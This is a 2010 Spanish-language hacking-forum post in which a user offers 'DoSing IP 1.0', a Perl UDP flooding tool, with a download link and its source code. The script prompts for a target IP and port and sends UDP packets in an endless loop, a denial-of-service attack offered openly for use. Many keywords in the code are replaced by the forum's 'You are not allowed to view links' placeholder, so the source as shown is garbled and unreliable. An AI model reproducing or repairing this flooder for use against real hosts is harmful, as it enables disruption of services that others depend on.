Underc0de - Hacking y seguridad informática

Programación Scripting => Perl => Mensaje iniciado por: SkillmaX en Julio 04, 2010, 10:14:31 am

Título: DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]
Publicado por: SkillmaX en Julio 04, 2010, 10:14:31 am
Buenas, repasé un poco el tema del perl que hace muchiiisiimo que no lo tocaba, me dio
por reelerme el asunto de los socks, recordé las cosas y pude codearme esta herramienta en perl.

Caracteristicas: (http://Caracteristicas:)


+ Envio de 30000 socks
+ Mayor rapidéz en el envio
+ UDP


Descarga de el archivo compilado:


http://shup.com/Shup/376121/Doss.pl (http://shup.com/Shup/376121/Doss.pl)

Source utilizado por si alguien quiere modificarlo:

Código: Perl
  1. #!/usr/bin/perl
  2. You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(
  3. =====================================================
  4.             DDoS en perl
  5.          Creado por SkillmaX
  6.          www.indetectables.net
  7.          www.hackingteam.org
  8.           www.ash-labs.org
  9.           www.level-23.org
  10.    
  11. =====================================================
  12. );
  13.  
  14. use io::You are not allowed to view links. Register or Login;
  15.  
  16. You are not allowed to view links. Register or Login "Introduzca la IP: ";
  17. You are not allowed to view links. Register or Login ($host = <stdin>);
  18. You are not allowed to view links. Register or Login "Introduzca el puerto: ";
  19. You are not allowed to view links. Register or Login ($port = <stdin>);
  20.  
  21. {
  22. $sock = IO::Socket::INET->new (
  23. PeerAddr => $host,
  24. PeerPort => $port,
  25. Proto => 'udp') || You are not allowed to view links. Register or Login "$! Ha introducido algun dato incorrecto, vuelva a intentarlo";
  26. }
  27. packets:
  28. while (1) {
  29. $size = You are not allowed to view links. Register or Login() * 30000 * 300000;
  30. You are not allowed to view links. Register or Login ("$host:$port Conexión enviada: $size\n");
  31. You are not allowed to view links. Register or Login($sock, 0, $size);
  32. }